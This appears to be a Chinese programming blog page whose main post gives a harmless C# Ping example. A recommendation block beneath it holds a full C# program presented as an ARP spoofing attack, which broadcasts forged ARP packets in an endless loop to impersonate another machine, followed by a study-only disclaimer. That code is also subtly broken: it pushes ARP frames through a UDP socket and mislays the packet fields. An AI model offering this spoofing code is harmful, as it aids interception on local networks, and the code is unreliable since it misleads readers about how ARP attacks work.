C# 实现Ping

 

 

 

核心代码:

using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
using System.Net.NetworkInformation;
using System.Text;

 

//.... 

    //arg为主机IP,timeout为连接超时的时间,packSize为封包的大小

    private string PingHost(string arg, int timeout, int packSize)
    {        
         string data=MakeString(packSize);        
         Ping pingSender = new Ping ();           
            byte[] buffer = Encoding.ASCII.GetBytes (data);
            PingReply reply = pingSender.Send(arg, timeout, buffer);
           
            if (reply.Status == IPStatus.Success)
            {
             string hInfo = "";
             hInfo +="回复源:"+ reply.Address.ToString();
             hInfo +="/n  用时:" + (reply.RoundtripTime).ToString() + " ms";
             hInfo +="/n  接收到:" + (reply.Buffer.Length).ToString() + " Byte";
             return hInfo;             
            }
            else return "连接主机失败";
    }
   
   private string MakeString(int Length)
  {
        string baseString ="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
        int len = baseString.Length;
        Random rnd = new Random();
        StringBuilder result = new StringBuilder();       
        for(int i=0; i<Length; i++)
           {
             result.Append(baseString.Substring(rnd.Next(len),1));            
           }     
      return result.ToString();     
  }

 

//调用PingHost方法就可以

//我是在.NET Framework 3.5调试的

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ARP探测攻击,也被称为ARP欺骗攻击,是一种网络安全攻击方式。实现ARP探测攻击可以使用C#编程语言,下面是一份简单的代码示例: ```csharp using System; using System.Net; using System.Net.NetworkInformation; using System.Net.Sockets; namespace ARPAttack { class Program { static void Main(string[] args) { // 获取本机IP地址 string hostName = Dns.GetHostName(); IPAddress[] addresses = Dns.GetHostAddresses(hostName); IPAddress localIP = null; foreach (IPAddress address in addresses) { if (address.AddressFamily == AddressFamily.InterNetwork) { localIP = address; break; } } // 获取网关的MAC地址 PhysicalAddress gatewayMac = null; using (Ping ping = new Ping()) { PingReply reply = ping.Send(localIP); if (reply.Status == IPStatus.Success) { IPAddress gatewayIP = IPAddress.Parse("192.168.1.1"); // 假设网关IP地址为192.168.1.1 ArpPacket arpRequest = new ArpPacket(localIP, gatewayIP); byte[] requestBuffer = arpRequest.ToBytes(); using (UdpClient udpClient = new UdpClient()) { udpClient.Send(requestBuffer, requestBuffer.Length, new IPEndPoint(gatewayIP, 0)); IPEndPoint remoteEP = new IPEndPoint(IPAddress.Any, 0); byte[] responseBuffer = udpClient.Receive(ref remoteEP); ArpPacket arpResponse = ArpPacket.FromBytes(responseBuffer); if (arpResponse.Operation == ArpOperation.Response) { gatewayMac = arpResponse.SenderHardwareAddress; } } } } // 发送ARP欺骗包 while (true) { ArpPacket arpSpoof = new ArpPacket(localIP, IPAddress.Parse("192.168.1.100"), gatewayMac); byte[] spoofBuffer = arpSpoof.ToBytes(); using (UdpClient udpClient = new UdpClient()) { udpClient.Send(spoofBuffer, spoofBuffer.Length, new IPEndPoint(IPAddress.Broadcast, 0)); } System.Threading.Thread.Sleep(1000); } } } public class ArpPacket { public const int HardwareAddressLength = 6; public const int ProtocolAddressLength = 4; public const int PacketLength = 28; public PhysicalAddress DestinationHardwareAddress { get; set; } public PhysicalAddress SenderHardwareAddress { get; set; } public ushort ProtocolType { get; set; } public ArpOperation Operation { get; set; } public IPAddress SenderProtocolAddress { get; set; } public IPAddress TargetProtocolAddress { get; set; } public ArpPacket(IPAddress senderProtocolAddress, IPAddress targetProtocolAddress, PhysicalAddress destinationHardwareAddress = null, PhysicalAddress senderHardwareAddress = null) { this.DestinationHardwareAddress = destinationHardwareAddress ?? PhysicalAddress.Broadcast; this.SenderHardwareAddress = senderHardwareAddress ?? GetLocalMACAddress(); this.ProtocolType = (ushort)EthernetType.Arp; this.Operation = ArpOperation.Request; this.SenderProtocolAddress = senderProtocolAddress; this.TargetProtocolAddress = targetProtocolAddress; } public byte[] ToBytes() { byte[] buffer = new byte[PacketLength]; this.DestinationHardwareAddress.GetAddressBytes().CopyTo(buffer, 0); this.SenderHardwareAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength); BitConverter.GetBytes(IPAddress.NetworkToHostOrder(this.ProtocolType)).CopyTo(buffer, HardwareAddressLength * 2); BitConverter.GetBytes((ushort)this.Operation).CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength); this.SenderHardwareAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2); this.SenderProtocolAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength); this.DestinationHardwareAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength); this.TargetProtocolAddress.GetAddressBytes().CopyTo(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength + HardwareAddressLength); return buffer; } public static ArpPacket FromBytes(byte[] buffer) { PhysicalAddress destinationHardwareAddress = new PhysicalAddress(buffer, 0, HardwareAddressLength); PhysicalAddress senderHardwareAddress = new PhysicalAddress(buffer, HardwareAddressLength, HardwareAddressLength); ushort protocolType = (ushort)IPAddress.NetworkToHostOrder(BitConverter.ToInt16(buffer, HardwareAddressLength * 2)); ArpOperation operation = (ArpOperation)BitConverter.ToUInt16(buffer, HardwareAddressLength * 2 + ProtocolAddressLength); PhysicalAddress targetHardwareAddress = new PhysicalAddress(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength, HardwareAddressLength); IPAddress senderProtocolAddress = new IPAddress(BitConverter.ToUInt32(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2)); IPAddress targetProtocolAddress = new IPAddress(BitConverter.ToUInt32(buffer, HardwareAddressLength * 2 + ProtocolAddressLength + 2 + HardwareAddressLength + ProtocolAddressLength + HardwareAddressLength)); return new ArpPacket(senderProtocolAddress, targetProtocolAddress, destinationHardwareAddress, senderHardwareAddress) { ProtocolType = protocolType, Operation = operation }; } private static PhysicalAddress GetLocalMACAddress() { NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces(); PhysicalAddress macAddress = null; foreach (NetworkInterface adapter in nics) { if (adapter.OperationalStatus == OperationalStatus.Up) { macAddress = adapter.GetPhysicalAddress(); if (macAddress != null && !macAddress.Equals(PhysicalAddress.None)) { break; } } } return macAddress; } } public enum ArpOperation : ushort { Request = 1, Response = 2 } public enum EthernetType : ushort { Arp = 0x0806 } } ``` 上面的代码中,我们先获取本机的IP地址和MAC地址,然后发送一个ARP请求包到网关,获取网关的MAC地址。接着,我们每秒钟发送一个ARP欺骗包,将本机的MAC地址伪装成另外一台机器的MAC地址,从而实现ARP欺骗攻击。 需要注意的是,ARP欺骗攻击是一种违法行为,未经授权使用可能会导致法律后果。本代码仅供学习和研究用途,请勿用于非法用途。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值